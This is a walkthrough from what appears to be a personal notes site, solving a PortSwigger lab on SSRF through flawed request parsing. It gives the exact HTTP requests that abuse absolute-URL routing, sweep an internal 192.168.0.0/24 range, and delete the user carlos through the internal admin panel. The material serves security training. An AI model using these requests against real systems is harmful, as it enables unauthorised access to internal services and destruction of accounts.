> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/host-header/ssrf-via-incorrect-query-parsing.md).

# SSRF via Incorrect Query Parsing

SSRF via Incorrect Query Parsing notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### SSRF via Flawed Request Parsing

This lab is vulnerable to a **SSRF based on routing**. The server misinterprets the host actually targeted by the query. The goal is to reach the internal administration panel, then delete the user **carlos**.

### Initial Observation

Edit directly the `Host` header does not work. The request remains blocked.

```http
Host: jord4n.pro
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c9947d8db3e6f8f697b3e73514a094f7cb35aaf%2F%7B7192E7EE-A757-4638-93B6-893D199E33D8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Parsing Around

The key point here is the request format. When using an absolute **URL**, the application attempts to resolve the host indicated in the query line. The `Host` header then becomes secondary.

```html
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: test.com
```

The answer confirms this behavior. The server is trying to reach `test.com`.

```html
<h1>
    Server Error: Gateway Timeout (3) connecting to test.com
</h1>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b48a3ee6081de71fdd13d53423f6c91a215fe786%2F%7BA17BCF4B-3432-416A-8F3D-00F5541A022F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Internal Host Discovery

We can now sweep the internal `192.168.0.0/24` range. The simplest is to use **Intruder** on the last byte.

```http
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: 192.168.0.X
```

The `192.168.0.92` address responds with `302` code. This response indicates the presence of the administration panel.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b0660fe2fe55839babdcb18a7ab14f28760ff2bc%2F%7B63A701A1-3BC9-49C8-847A-F7B415248FF7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Removal of the User

After identifying the internal host, we open `/admin`. We then retrieve the CSRF token from the page. Simply send the deletion request to the internal host.

```http
POST https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/admin/delete HTTP/2
Host: 192.168.0.92

csrf=Rrh5bY7GRvuOjDW1nTUWrIjaqAdlTvtW&username=carlos
```

The removal of **carlos** validates the lab.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8e6bd4a9cbe98ed1dcd7af8f404a90e40eefadc6%2F%7B0CC2D30A-8DF9-4A1C-B87C-A3D10581891C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

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